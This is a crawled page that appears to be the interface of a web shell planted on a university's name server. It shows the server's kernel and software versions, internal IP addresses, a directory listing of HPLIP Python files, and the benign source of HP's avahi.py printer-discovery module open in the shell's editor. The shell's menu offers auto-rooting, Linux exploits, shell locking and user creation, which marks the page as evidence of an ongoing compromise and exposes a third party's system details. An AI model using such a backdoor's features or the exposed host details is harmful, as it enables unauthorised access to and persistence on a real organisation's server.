Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
hplip /
base /
[ HOME SHELL ]
Name
Size
Permission
Action
pexpect
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxrwxr-x
avahi.py
3.01
KB
-rw-r--r--
codes.py
30.55
KB
-rw-r--r--
device.py
96.04
KB
-rw-r--r--
dime.py
3.3
KB
-rw-r--r--
exif.py
35.08
KB
-rw-r--r--
g.py
14.19
KB
-rw-r--r--
imageprocessing.py
33.14
KB
-rw-r--r--
imagesize.py
5.75
KB
-rw-r--r--
__init__.py
826
B
-rw-r--r--
ldif.py
16.33
KB
-rw-r--r--
LedmWifi.py
30.33
KB
-rw-r--r--
local.py
2.36
KB
-rw-r--r--
logger.py
18.06
KB
-rw-r--r--
magic.py
63.2
KB
-rw-r--r--
maint.py
58.36
KB
-rw-r--r--
mdns.py
10.04
KB
-rw-r--r--
mfpdtf.py
17.34
KB
-rw-r--r--
models.py
19.12
KB
-rw-r--r--
module.py
28.32
KB
-rw-r--r--
os_utils.py
2.28
KB
-rw-r--r--
password.py
13
KB
-rw-r--r--
pkit.py
11.45
KB
-rw-r--r--
pml.py
26.46
KB
-rw-r--r--
queues.py
16.35
KB
-rw-r--r--
services.py
9.74
KB
-rw-r--r--
sixext.py
5.78
KB
-rw-r--r--
six.py
22.32
KB
-rw-r--r--
slp.py
5.8
KB
-rw-r--r--
smart_install.py
11.37
KB
-rw-r--r--
status.py
76.42
KB
-rw-r--r--
strings.py
28.21
KB
-rw-r--r--
tui.py
13.79
KB
-rw-r--r--
utils.py
76.22
KB
-rw-r--r--
validation.py
3.68
KB
-rw-r--r--
vcard.py
43.66
KB
-rw-r--r--
wifi.py
22.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : avahi.py
# -*- coding: utf-8 -*- # # (c) Copyright 20013 HP Development Company, L.P. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # Author: Sarbeswar Meher # import sys from .g import * import socket from subprocess import Popen, PIPE from . import utils from .sixext import to_string_utf8 def detectNetworkDevices(ttl=4, timeout=10): found_devices = {} if utils.which("avahi-browse") == '': log.error("Avahi-browse is not installed") return found_devices # Obtain all the resolved services which has service type '_printer._tcp' from avahi-browse p = Popen(['avahi-browse', '-kprt', '_printer._tcp'], stdout=PIPE) output = to_string_utf8(p.communicate()[0]) for line in output.splitlines(): if line.startswith('='): bits = line.split(';') if bits[2] == 'IPv4' and len(bits[7].split('.')) == 4: ip = bits[7] port = bits[8] # Run through the offered addresses and see if we have a bound local # address for it. try: res = socket.getaddrinfo(ip, port, 0, 0, 0, socket.AI_ADDRCONFIG) if res: y = {'num_devices' : 1, 'num_ports': 1, 'product_id' : '', 'mac': '', 'status_code': 0, 'device2': '0', 'device3': '0', 'note': ''} y['ip'] = ip y['hn'] = bits[6].replace('.local', '') details = bits[9].rstrip ().strip ('"').split('" "') for item in details: key, value = item.split('=', 1) keyvalue = item.split('=', 1) if len (keyvalue) < 2: # Skip parts that don't match key=value continue key, value = keyvalue if key == 'ty': y['mdns'] = value y['device1'] = "MFG:Hewlett-Packard;MDL:%s;CLS:PRINTER;" % value break found_devices[y['ip']] = y log.debug("ip=%s hn=%s ty=%s" %(ip,y['hn'], y['mdns'])) except socket.gaierror: pass log.debug("Found %d devices" % len(found_devices)) return found_devices
Close